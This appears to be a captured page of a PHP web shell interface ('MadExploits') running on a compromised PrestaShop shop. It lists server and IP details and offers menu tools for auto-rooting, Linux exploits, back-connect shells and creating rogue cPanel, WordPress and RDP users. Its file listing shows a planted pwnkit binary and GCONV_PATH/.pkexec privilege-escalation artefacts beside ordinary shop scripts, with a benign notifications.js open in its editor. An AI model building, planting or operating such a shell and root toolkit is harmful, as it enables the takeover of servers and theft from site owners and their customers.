Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
js /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
addons.js
4.69
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
attachments.js
1.19
KB
-rw----r--
carrier_wizard.js
25.71
KB
-rw----r--
dashboard.js
10.23
KB
-rw----r--
dnd.js
5.83
KB
-rw----r--
email.js
1.38
KB
-rw----r--
import.js
15.93
KB
-rw----r--
index.php
1.34
KB
-rw----r--
login.js
7.71
KB
-rw----r--
modules-position.js
6.47
KB
-rw----r--
notifications.js
6.5
KB
-rw----r--
price.js
10.24
KB
-rw----r--
products.js
57.63
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
themes.js
2.28
KB
-rw----r--
tinymce.inc.js
3.05
KB
-rw----r--
tinymce_loader.js
1.96
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : notifications.js
/** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ $(document).ready(function() { var hints = $('.translatable span.hint'); if (youEditFieldFor) hints.html(hints.html() + '<br /><span class="red">' + youEditFieldFor + '</span>'); var html = ""; var nb_notifs = 0; var wrapper_id = ""; var type = new Array(); $('.notification.dropdown-toggle').on('click', function (event) { $(this).parent().toggleClass('open'); updateEmployeeNotifications(); }); $('body').on('click', function (e) { if (!$('#notification.dropdown').is(e.target) && $('#notification.dropdown').has(e.target).length === 0 && $('.open').has(e.target).length === 0 ) { if ($('#notification.dropdown').hasClass('open')) { getPush(); } $('#notification.dropdown').removeClass('open'); } }); $('.notifications .nav-link').on('shown.bs.tab', function () { updateEmployeeNotifications(); }); // call it once immediately, then use setTimeout if (parseInt(show_new_orders) || parseInt(show_new_customers) || parseInt(show_new_messages)) { getPush(); } }); function updateEmployeeNotifications() { $.post( admin_notification_push_link, { "type": $('.notifications .nav-item.active a').attr('data-type') } ); } function getPush() { $.ajax({ type: 'POST', headers: {"cache-control": "no-cache"}, url: admin_notification_get_link+'&rand=' + new Date().getTime(), async: true, cache: false, dataType : 'json', success: function(json) { if (json) { // Set moment language moment.lang(full_language_code); var nbOrders = parseInt(json.order.total); var nbCustomers = parseInt(json.customer.total); var nbCustomerMessages = parseInt(json.customer_message.total); var notifications_total = nbOrders + nbCustomers + nbCustomerMessages; // Add orders notifications to the list html = ""; $.each(json.order.results, function(property, value) { html += "<a class='notif' href='"+baseAdminDir+"index.php?tab=AdminOrders&token=" + token_admin_orders + "&vieworder&id_order=" + parseInt(value.id_order) + "'>"; html += "#" + parseInt(value.id_order) + " - "; html += from_msg + " <strong>" + value.customer_name + "</strong>"; html += " (" + value.iso_code + ")"; html += "<strong class='pull-right'>" + value.total_paid + "</strong>"; if (value.carrier !== "") { html += " - " + value.carrier; } html += "</a>"; }); $("#orders-notifications").children('.notification-elements').empty(); if (parseInt(json.order.total) > 0) { $("#orders-notifications").removeClass('empty'); $("#orders-notifications").children('.notification-elements').append(html); $("#orders_notif_value").text(' (' + nbOrders + ')').attr('data-nb', nbOrders); } else { $("#orders-notifications").addClass('empty'); $("#orders_notif_value").text(''); } // Add customers notifications to the list html = ""; $.each(json.customer.results, function(property, value) { html += "<a class='notif' href='" + value.customer_view_url + "'>"; html += "#" + value.id_customer + " - <strong>" + value.customer_name + "</strong>" if (value.company !== "") { html += " (" + value.company + ")"; } html += " - " + customer_name_msg + " " + value.date_add; html += "</a>"; }); $("#customers-notifications").children('.notification-elements').empty(); if (parseInt(json.customer.total) > 0) { $("#customers-notifications").removeClass('empty'); $("#customers-notifications").children('.notification-elements').append(html); $("#customers_notif_value").text(' (' + nbCustomers + ')').attr('data-nb', nbCustomers); } else { $("#customers-notifications").addClass('empty'); $("#customers_notif_value").text(''); } // Add messages notifications to the list html = ""; $.each(json.customer_message.results, function(property, value) { html += "<a class='notif' href='"+baseAdminDir+"index.php?tab=AdminCustomerThreads&token=" + token_admin_customer_threads + "&viewcustomer_thread&id_customer_thread=" + parseInt(value.id_customer_thread) + "'>"; html += "<span class='message-notification-status " + value.status + "'><i class='material-icons'>fiber_manual_record</i> " + value.status + "</span> - "; html += "<strong>" + value.customer_name + "</strong>"; if (value.company !== "") { html += " (" + value.company + ")"; } html += " - <i class='material-icons'>access_time</i> " + value.date_add; html += "</a>"; }); $("#messages-notifications").children('.notification-elements').empty(); if (parseInt(json.customer_message.total) > 0) { $("#messages-notifications").removeClass('empty'); $("#messages-notifications").children('.notification-elements').append(html); $("#customer_messages_notif_value").text(' (' + nbCustomerMessages + ')').attr('data-nb', nbCustomerMessages); } else { $("#messages-notifications").addClass('empty'); $("#customer_messages_notif_value").text(''); } if (notifications_total > 0) { $("#total_notif_number_wrapper").removeClass('hide'); $('#total_notif_value').text(notifications_total); } else { $("#total_notif_number_wrapper").addClass('hide'); } } setTimeout("getPush()", 120000); } }); }
Close